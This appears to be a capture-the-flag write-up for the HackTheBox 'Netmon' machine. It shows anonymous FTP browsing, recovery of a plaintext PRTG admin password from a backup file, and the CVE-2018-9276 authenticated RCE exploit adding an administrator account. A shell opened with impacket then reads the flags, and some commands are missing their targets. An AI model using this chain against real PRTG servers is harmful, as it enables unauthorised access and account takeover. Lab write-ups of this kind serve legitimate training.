Netmon is a Windows fairly straight forward box that is available on HackTheBox.

Netmon’s main goal is to gain control over a vulnerable PRTG Network Monitor installation and capture the root flag in several different ways; from a Powershell reverse shell to an authenticated RCE which adds a new user in the system.


  • Capture the user flag
  • Capture the root flag


  • Use nmap to see the services
  • Use ncftp to navigate through its FTP
  • Login to the PRTG Network Manager panel
  • Use CVE-2018-9276 (Authenticated RCE) to create a new administrator in the system
  • Login to the system with the new credentials via



We begin with a standard nmap scan to see the services that we’ll be dealing with.

$ nmap -sC -sV
21/tcp  open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19  12:18AM                 1024 .rnd
| 02-25-19  10:15PM       <DIR>          inetpub
| 07-16-16  09:18AM       <DIR>          PerfLogs
| 02-25-19  10:56PM       <DIR>          Program Files
| 02-03-19  12:28AM       <DIR>          Program Files (x86)
| 02-03-19  08:08AM       <DIR>          Users
|_02-25-19  11:49PM       <DIR>          Windows
| ftp-syst:
|_  SYST: Windows_NT
80/tcp  open  http         Indy httpd (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

We can see that 5 services are running but the most notable ones are HTTP on Port 80 with PRTG Network Monitor installed on it and FTP on Port 21 with anonymous login enabled.

User Flag

Taking a look at the FTP by logging in anonymously, we see user.txt in C:/Users/Public.

$ ncftp

ncftp / > ls -la
02-03-19  12:18AM                 1024 .rnd
02-25-19  10:15PM       <DIR>          inetpub
07-16-16  09:18AM       <DIR>          PerfLogs
02-25-19  10:56PM       <DIR>          Program Files
02-03-19  12:28AM       <DIR>          Program Files (x86)
02-03-19  08:08AM       <DIR>          Users
02-25-19  11:49PM       <DIR>          Windows

ncftp / > cd Users/

ncftp /Users > ls -la
02-25-19  11:44PM       <DIR>          Administrator
02-03-19  12:35AM       <DIR>          Public

ncftp /Users > cd Public/

ncftp /Users/Public > ls -la
02-03-19  08:05AM       <DIR>          Documents
07-16-16  09:18AM       <DIR>          Downloads
07-16-16  09:18AM       <DIR>          Music
07-16-16  09:18AM       <DIR>          Pictures
02-03-19  12:35AM                   33 user.txt
07-16-16  09:18AM       <DIR>          Videos

ncftp /Users/Public > cat user.txt

Thus we’ve captured the user flag with relative ease.

Root Flag

Logging in to PRTG Network Monitor

Taking a look at the HTTP service, we’re greeted with a login page for PRTG Network Monitor.

PRTG Mainscreen

Trying to login in using common credentials such as admin/password or prtgadmin/prtgadmin is no use. Returning to the FTP and snooping around PRTG Network Monitor’s folders reveal 3 configuration files in C:\ProgramData\Paessler\"PRTG Network Monitor".

ncftp / > cd ProgramData

ncftp /ProgramData > ls -la
02-03-19  12:15AM       <DIR>          Licenses
11-20-16  10:36PM       <DIR>          Microsoft
02-03-19  12:18AM       <DIR>          Paessler
02-03-19  08:05AM       <DIR>
07-16-16  09:18AM       <DIR>          SoftwareDistribution
02-03-19  12:15AM       <DIR>          TEMP
11-20-16  10:19PM       <DIR>          USOPrivate
11-20-16  10:19PM       <DIR>          USOShared
02-25-19  10:56PM       <DIR>          VMware

ncftp /ProgramData > cd Paessler/
ncftp /ProgramData/Paessler > ls -la
06-29-19  10:51PM       <DIR>          PRTG Network Monitor

ncftp /ProgramData/Paessler > cd "PRTG Network Monitor"/

ncftp ...r/PRTG Network Monitor > ls -la
02-03-19  12:40AM       <DIR>          Configuration Auto-Backups
06-29-19  10:50PM       <DIR>          Log Database
02-03-19  12:18AM       <DIR>          Logs (Debug)
02-03-19  12:18AM       <DIR>          Logs (Sensors)
02-03-19  12:18AM       <DIR>          Logs (System)
06-29-19  10:50PM       <DIR>          Logs (Web Server)
02-25-19  08:01PM       <DIR>          Monitoring Database
02-25-19  10:54PM              1189697 PRTG Configuration.dat
02-25-19  10:54PM              1189697 PRTG Configuration.old
07-14-18  03:13AM              1153755 PRTG Configuration.old.bak
06-29-19  10:51PM              1647604 PRTG Graph Data Cache.dat
02-25-19  11:00PM       <DIR>          Report PDFs
02-03-19  12:18AM       <DIR>          System Information Database
02-03-19  12:40AM       <DIR>          Ticket Database
02-03-19  12:18AM       <DIR>          ToDo Database

Taking a look at PRTG Configuration.dat didn’t reveal as much as expected since it had the password encrypted/hashed.

    PRTG System Administrator
    <cell col="0" crypt="PRTG">
    <cell col="1" crypt="PRTG">

PRTG Configuration.old was similar to PRTG Configuration.dat, but PRTG Configuration.old.bak wasn’t like the rest. The data on it was readable, most notably <dbpassword> segment which had a username and a password; PrTg@dmin2018.

    <!-- User: prtgadmin -->

Trying to login using this password doesn’t work. Since it’s a year old backup, changing PrTg@dmin2018’s 8 to a 9 and then trying again works, granting us access to the PRTG Network Manager panel.

PRTG Panel

Exploiting PRTG

At the very bottom of the PRTG Network Manager panel there is a version number; Taking that to account, running searchsploit PRTG reveals several exploits; most notably an authenticated remote code execution; or better known as CVE-2018-9276.

$ searchsploit PRTG
Exploit Title
PRTG Network Monitor < 18.2.38 - (Authenticated) Remote Code Execution
PRTG Network Monitor < - Stack Overflow (Denial of Service)
PRTG Traffic Grapher 6.2.1 - 'url' Cross-Site Scripting

Since we logged in to PRTG Network Manager, we can use the developer console to see our cookies use them to run the exploit.

$ wget

$ sed -i -e 's/\r$//' 46527

$ ./46527 -u -c "OCTOPUS1813713946=ezk4RkMxM0M4LTkxMzYtNEVDOS1CODgwLTc4OUY5QjJERjJFN30%3D; _gat=1"


[*] file created
[*] sending notification wait...

[*] adding a new user 'pentest' with password 'P3nT3st'
[*] sending notification wait...

[*] adding a user pentest to the administrators group
[*] sending notification wait...

[*] exploit completed new user 'pentest' with password 'P3nT3st!' created have fun!

The exploit added a new user that had administrative privileges; pentest with the password P3nT3st!. Using from impacket we can get a shell and login as pentest to get our root flag. Do note that was copied from /usr/share/doc/python-impacket/examples/.

$ pentest:'P3nT3st!'@

C:\Windows\system32> cd C:\Users\Administrator\

C:\Users\Administrator> dir
02/25/2019  11:58 PM    <DIR>          .
02/25/2019  11:58 PM    <DIR>          ..
02/03/2019  08:08 AM    <DIR>          Contacts
02/03/2019  12:35 AM    <DIR>          Desktop
02/03/2019  08:08 AM    <DIR>          Documents
02/03/2019  08:08 AM    <DIR>          Downloads
02/03/2019  08:08 AM    <DIR>          Favorites
02/03/2019  08:08 AM    <DIR>          Links
02/03/2019  08:08 AM    <DIR>          Music
02/03/2019  08:08 AM    <DIR>          Pictures
02/03/2019  08:08 AM    <DIR>          Saved Games
02/03/2019  08:08 AM    <DIR>          Searches
02/25/2019  11:06 PM    <DIR>          Videos

C:\Users\Administrator> cd Desktop

C:\Users\Administrator\Desktop> dir
02/03/2019  12:35 AM    <DIR>          .
02/03/2019  12:35 AM    <DIR>          ..
02/03/2019  12:35 AM                33 root.txt

C:\Users\Administrator\Desktop> type root.txt

Thus, we’ve captured the root flag.